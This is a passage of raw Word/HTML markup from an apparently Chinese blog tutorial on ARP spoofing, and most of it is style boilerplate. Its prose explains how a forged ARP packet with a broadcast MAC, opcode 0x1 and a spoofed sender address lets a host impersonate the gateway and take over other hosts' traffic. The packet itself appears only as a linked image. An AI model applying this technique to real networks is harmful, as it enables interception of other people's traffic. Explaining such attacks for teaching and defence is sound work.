Heading&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Body Text 2&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Body Text 3&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Body Text Indent 2&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Body Text Indent 3&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Block Text&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Hyperlink&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;FollowedHyperlink&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Strong&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Emphasis&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Document Map&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Plain Text&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;E-mail Signature&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Normal (Web)&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;HTML Acronym&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;HTML Address&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;HTML Cite&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;HTML Code&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;HTML Definition&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;HTML Keyboard&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;HTML Preformatted&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;HTML Sample&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;HTML Typewriter&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;HTML Variable&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Normal Table&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;annotation subject&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;No List&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Balloon Text&quot;&gt;&lt;\/w:lsdexception&gt;&lt;\/w:latentstyles&gt;&lt;\/xml&gt;&lt;![endif]--&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\u5982\u679c&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;B&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u4e3b\u673a\u63a5\u6536\u5230\u4e86\u8fd9\u6837\u7684&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;ARP&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u5e94\u7b54\u5305\uff0c\u5219\u4f1a\u83b7\u53d6&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;ARP&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u5e27\u4e2d\u7684\u201c\u53d1\u9001\u65b9&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;MAC&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u201d\u548c\u201c\u53d1\u9001\u65b9&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;IP&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u201d\uff0c\u5e76\u5c06\u5176\u66f4\u65b0\u5230&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;ARP&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u7f13\u5b58\u8868\u4e2d\uff0c\u8fd9\u6837\u539f\u672c\u662f&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;192.168.0.1&#8211;xxxxxxxxxxxx&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u7684\u5bf9\u5e94\u8868\u5c31\u88ab\u4fee\u6539\u4e3a\u4e86\u8fd9\u6837\uff1a&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;192.168.0.1&#8211;aaaaaaaaaaaa&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u3002\u8fd9\u6837\u5f53&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;B&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u4e3b\u673a\u8981\u5411\u7f51\u5173\u53d1\u9001\u6570\u636e\u65f6\uff0c\u56e0\u4e3a\u7f13\u5b58\u8868\u4e2d\u9519\u8bef\u7684\u5bf9\u5e94\u5173\u7cfb\uff0c\u4f1a\u5bfc\u81f4&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;B&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u7684\u6570\u636e\u88ab\u53d1\u9001\u5230&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;A&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u4e3b\u673a\u4e0a\u3002&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;mso-list:l0 level1 lfo1;&quot;&gt;\n\t&lt;span style=&quot;font-weight:normal;font-size:14.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;&lt;span style=&quot;mso-list:Ignore;&quot;&gt;2.&lt;\/span&gt;&lt;\/span&gt;&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-weight:normal;font-size:14.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;ARP&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u8bf7\u6c42\u5305&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-weight:normal;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;ARP&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u8bf7\u6c42\u5305\u548c\u5e94\u7b54\u5305\u7684\u6784\u9020\u5f88\u76f8\u4f3c\uff0c\u4f46\u9700\u8981\u4fee\u6539\u4e09\u5904\u5b57\u6bb5\u503c\uff0c\u4ee5\u592a\u7f51\u5934\u90e8\u4e2d\u7684\u201c\u63a5\u6536\u65b9&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;MAC&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u201d&nbsp;\u5e94\u586b\u5145&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;ffffffffffff(&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u8868\u793a\u8981\u7ed9\u5168\u7f51\u53d1\u9001\u5e7f\u64ad&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;)&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\uff0c&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;ARP&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u5e27\u4e2d\u7684\u201c&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;ARP&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u5305\u7c7b\u578b\u201d\u81ea\u7136\u5e94\u5f53\u586b\u5145&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;0x1&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\uff0c\u8868\u793a\u6b64&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;ARP&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u5305\u662f\u8bf7\u6c42\u5305\uff0c\u201c\u63a5\u6536\u65b9&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;MAC&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u201d\u7528&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;0x00&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u586b\u5145\u5c31\u53ef\u3002&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-weight:normal;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\u6b64\u5904\u518d\u5217\u51fa\u4e00\u4e2a\u4f8b\u5b50\uff0c\u6bd4\u5982\u5728\u4e00\u7f51\u6bb5\u4e2d\uff0c\u6709\u82e5\u5e72\u4e3b\u673a\uff0c\u5982\uff1a&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-weight:normal;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-weight:normal;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\u7f51\u5173&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;MAC&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\uff1a&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;xxxxxxxxxxx&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\uff0c&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;IP&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\uff1a&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;192.168.0.1&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-weight:normal;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;A&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u4e3b\u673a&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;MAC&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\uff1a&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;aaaaaaaaaaaa&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\uff0c&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;IP&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\uff1a&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;192.168.0.2&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-weight:normal;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;B&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u4e3b\u673a&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;MAC&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\uff1a&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;bbbbbbbbbbbb&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\uff0c&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;IP&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\uff1a&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;192.168.0.3&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-weight:normal;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;C&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u4e3b\u673a\uff1a&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;&#8230;&#8230;.&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-weight:normal;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;&#8230;&#8230;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-weight:normal;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;&#8230;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-weight:normal;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-weight:normal;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\u5982\u679c&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;A&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u4e3b\u673a\u60f3\u5192\u5145\u7f51\u5173\uff0c\u8ba9\u5168\u7f51\u4e3b\u673a\u53d1\u9001\u7ed9\u7f51\u5173\u7684\u6570\u636e\u90fd\u53d1\u9001\u81f3\u81ea\u5df1\uff0c\u5219\u53ef\u4ee5\u5e7f\u64ad\u5982\u4e0b&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;ARP&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u8bf7\u6c42\u5305\uff1a&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;a target=&quot;_blank&quot; href=&quot;http:\/\/www.weizn.net\/content\/uploadfile\/201401\/799bad5a3b514f096e69bbc4a7896cd920140124160644.jpg&quot; id=&quot;ematt:130&quot;&gt;&lt;img src=&quot;http:\/\/www.weizn.net\/content\/uploadfile\/201401\/thum-799bad5a3b514f096e69bbc4a7896cd920140124160644.jpg&quot; alt=&quot;\u70b9\u51fb\u67e5\u770b\u539f\u56fe&quot; border=&quot;0&quot; \/&gt;&lt;\/a&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;!--[if gte mso 9]&gt;&lt;xml&gt;&lt;w:worddocument&gt;&lt;w:browserlevel&gt;MicrosoftInternetExplorer4&lt;\/w:browserlevel&gt;&lt;w:displayhorizontaldrawinggridevery&gt;0&lt;\/w:displayhorizontaldrawinggridevery&gt;&lt;w:displayverticaldrawinggridevery&gt;2&lt;\/w:displayverticaldrawinggridevery&gt;&lt;w:documentkind&gt;DocumentNotSpecified&lt;\/w:documentkind&gt;&lt;w:drawinggridverticalspacing&gt;7.8&lt;\/w:drawinggridverticalspacing&gt;&lt;w:view&gt;Normal&lt;\/w:view&gt;&lt;w:compatibility&gt;&lt;w:dontgrowautofit \/&gt;&lt;\/w:compatibility&gt;&lt;w:zoom&gt;0&lt;\/w:zoom&gt;&lt;\/w:worddocument&gt;&lt;\/xml&gt;&lt;![endif]--&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;!--[if gte mso 9]&gt;&lt;xml&gt;&lt;w:latentstyles deflockedstate=&quot;false&quot; defunhidewhenused=&quot;true&quot; defsemihidden=&quot;true&quot; defqformat=&quot;false&quot; defpriority=&quot;99&quot; latentstylecount=&quot;156&quot;&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Normal&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;heading 1&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;heading 2&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;heading 3&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;heading 4&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;heading 5&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;heading 6&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;heading 7&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;heading 8&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;heading 9&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;index 1&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;index 2&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;index 3&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;index 4&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;index 5&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;index 6&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;index 7&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;index 8&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;index 9&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;toc 1&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;toc 2&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;toc 3&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;toc 4&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;toc 5&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;toc 6&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;toc 7&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;toc 8&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;toc 9&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Normal Indent&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;footnote text&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;annotation text&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;header&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;footer&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;index heading&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;caption&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;table of figures&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;envelope address&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;envelope return&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;footnote reference&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;annotation reference&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;line number&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;page number&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;endnote reference&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;endnote text&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;table of authorities&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;macro&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;toa heading&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;List&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;List Bullet&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;List Number&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;List 2&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;List 3&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;List 4&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;List 5&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;List Bullet 2&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;List Bullet 3&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;List Bullet 4&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;List Bullet 5&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;List Number 2&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;List Number 3&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;List Number 4&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;List Number 5&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Title&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; 